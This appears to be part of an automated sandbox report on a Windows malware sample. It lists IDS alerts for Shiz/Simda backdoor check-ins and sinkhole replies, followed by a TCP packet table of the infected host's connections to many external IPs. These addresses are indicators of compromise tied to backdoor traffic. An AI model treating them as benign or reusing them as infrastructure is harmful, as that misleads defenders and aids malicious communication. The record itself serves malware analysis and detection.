                                                                                                                                                                                                          2024-08-23T18:43:35.007208+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15952980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:43:35.007208+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15952980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:44:16.499388+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16132280192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:44:16.499388+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16132280192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:42:12.851519+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971080192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:42:12.851519+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971080192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:27.748480+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16353580192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:43:27.748480+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16353580192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:44:05.642374+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15085080192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:44:05.642374+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15085080192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:42:12.969833+0200TCP2018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz1804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.969833+0200TCP2037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst1804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.051514+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153507831.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:35.030592+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:43:35.030592+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:42:28.454333+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:28.454333+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:35.027988+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953580192.168.2.53.94.10.34
                                                                                                                                                                                                          2024-08-23T18:43:35.027988+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953580192.168.2.53.94.10.34
                                                                                                                                                                                                          2024-08-23T18:42:11.847367+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153613901.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:28.191275+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:42:28.191275+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:44:04.518140+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084980192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:44:04.518140+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084980192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:43:36.838567+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954180192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:43:36.838567+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954180192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:43:42.376596+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953180192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:43:42.376596+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953180192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:43:35.062846+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953780192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:43:35.062846+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953780192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:42:16.708223+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:16.708223+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:03.299572+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153624891.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:49.269857+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153631051.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:46.683786+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:43:46.683786+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:42:47.735451+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16068480192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:47.735451+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16068480192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:43:17.172160+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16352080192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:43:17.172160+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16352080192.168.2.515.197.240.20
                                                                                                                                                                                                          2024-08-23T18:43:35.200911+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15952980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:43:35.200911+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15952980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:25.750815+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14972580192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:42:25.750815+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14972580192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:43:00.681002+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:00.681002+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:35.779967+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954080192.168.2.591.195.240.19
                                                                                                                                                                                                          2024-08-23T18:42:12.931770+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971180192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:42:12.931770+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971180192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:44:06.065128+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15085180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:44:06.065128+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15085180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:43:34.336361+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153578251.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:29.163916+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16268580192.168.2.572.52.179.174
                                                                                                                                                                                                          2024-08-23T18:43:29.163916+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16268580192.168.2.572.52.179.174
                                                                                                                                                                                                          2024-08-23T18:43:35.089912+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:35.089912+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:27.546643+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14973180192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:42:27.546643+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14973180192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:43:07.469104+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          2024-08-23T18:43:07.469104+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          2024-08-23T18:43:08.051046+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:43:08.051046+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:42:46.926972+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14974180192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:42:46.926972+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14974180192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:42:47.479722+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16068480192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:47.479722+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16068480192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:14.001355+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971480192.168.2.5199.191.50.83
                                                                                                                                                                                                          2024-08-23T18:42:14.001355+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971480192.168.2.5199.191.50.83
                                                                                                                                                                                                          2024-08-23T18:43:54.017141+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954780192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:43:54.017141+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954780192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:43:36.643118+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:36.643118+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953080192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:13.036411+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14970980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:13.036411+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14970980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:43:33.519751+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16010180192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:33.519751+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16010180192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:31.677081+0200TCP2018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz1804936952.34.198.229192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:31.677081+0200TCP2037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst1804936952.34.198.229192.168.2.5

                                                                                                                                                                                                          Network Port Distribution

                                                                                                                                                                                                          TCP Packets

                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.035316944 CEST4970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.040184975 CEST8049707188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.040251017 CEST4970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.040391922 CEST4970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.045576096 CEST8049707188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.052241087 CEST4970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.058074951 CEST8049708162.255.119.102192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.058132887 CEST4970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.058268070 CEST4970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.063615084 CEST8049708162.255.119.102192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.180255890 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.185142040 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.185444117 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.185635090 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.190721989 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.363876104 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.370148897 CEST804971044.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.370213985 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.370343924 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.375123024 CEST804971044.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.455657959 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.460650921 CEST804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.460725069 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.460902929 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.465804100 CEST804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.474725962 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.479620934 CEST80497123.94.10.34192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.479717970 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.479856014 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.484867096 CEST80497123.94.10.34192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.492944956 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.498248100 CEST804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.498327971 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.498455048 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.503422976 CEST804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.526119947 CEST4971480192.168.2.5199.191.50.83
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.531367064 CEST8049714199.191.50.83192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.531430006 CEST4971480192.168.2.5199.191.50.83
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.531565905 CEST4971480192.168.2.5199.191.50.83
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.536374092 CEST8049714199.191.50.83192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.539786100 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.545331955 CEST8049715208.100.26.245192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.545420885 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.545572996 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.550399065 CEST8049715208.100.26.245192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.611215115 CEST4971680192.168.2.569.162.80.57
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.617096901 CEST804971669.162.80.57192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.617158890 CEST4971680192.168.2.569.162.80.57
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.617311001 CEST4971680192.168.2.569.162.80.57
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.622442961 CEST804971669.162.80.57192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.784838915 CEST8049708162.255.119.102192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.784898996 CEST4970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.837832928 CEST4971780192.168.2.5172.234.222.143
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.841449976 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.841492891 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.842881918 CEST8049717172.234.222.143192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.842936039 CEST4971780192.168.2.5172.234.222.143
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.843050003 CEST4971780192.168.2.5172.234.222.143
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.844866991 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.847852945 CEST8049717172.234.222.143192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.849848032 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.850501060 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.851449966 CEST804971044.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.851519108 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.851573944 CEST804971044.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.851618052 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.855365038 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.855427027 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.855525970 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.857392073 CEST4971080192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.860296965 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.862360001 CEST804971044.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.931709051 CEST804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.931770086 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.933028936 CEST804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.933082104 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.933795929 CEST4971180192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.939016104 CEST804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.965327978 CEST80497123.94.10.34192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.965415955 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.965687990 CEST80497123.94.10.34192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.965817928 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.966599941 CEST4971280192.168.2.53.94.10.34
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.969409943 CEST804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.969463110 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.969832897 CEST804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.969876051 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.970216990 CEST4971380192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.971386909 CEST80497123.94.10.34192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.976046085 CEST804971318.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.036350965 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.036411047 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.059153080 CEST8049715208.100.26.245192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.059216976 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.060755968 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.065809011 CEST8049715208.100.26.245192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.139326096 CEST804971669.162.80.57192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.139962912 CEST804971669.162.80.57192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.140367985 CEST4971680192.168.2.569.162.80.57
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.147505045 CEST4971680192.168.2.569.162.80.57
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.153172970 CEST804971669.162.80.57192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.180573940 CEST8049715208.100.26.245192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.180850029 CEST4971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.336708069 CEST4971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.341568947 CEST8049719154.212.231.82192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.341730118 CEST4971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.341821909 CEST4971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.346618891 CEST8049719154.212.231.82192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.351444960 CEST4972080192.168.2.5208.91.196.145
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.356256962 CEST8049720208.91.196.145192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.356463909 CEST4972080192.168.2.5208.91.196.145
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.356463909 CEST4972080192.168.2.5208.91.196.145
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.361661911 CEST8049720208.91.196.145192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792238951 CEST8049707188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792450905 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792463064 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792474031 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792493105 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792543888 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792555094 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792563915 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792577028 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792579889 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792587996 CEST4970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792625904 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792638063 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792653084 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792680979 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792711020 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793088913 CEST8049707188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793118000 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793175936 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793235064 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793236971 CEST4970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797569990 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797580957 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797591925 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797677994 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797689915 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797703981 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797758102 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797758102 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797926903 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.797995090 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798006058 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798017979 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798021078 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798032045 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798053980 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798433065 CEST4971880192.168.2.591.195.240.19
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798811913 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.798824072 CEST804971891.195.240.19192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.799072027 CEST4971880192.168.2.591.195.240.19
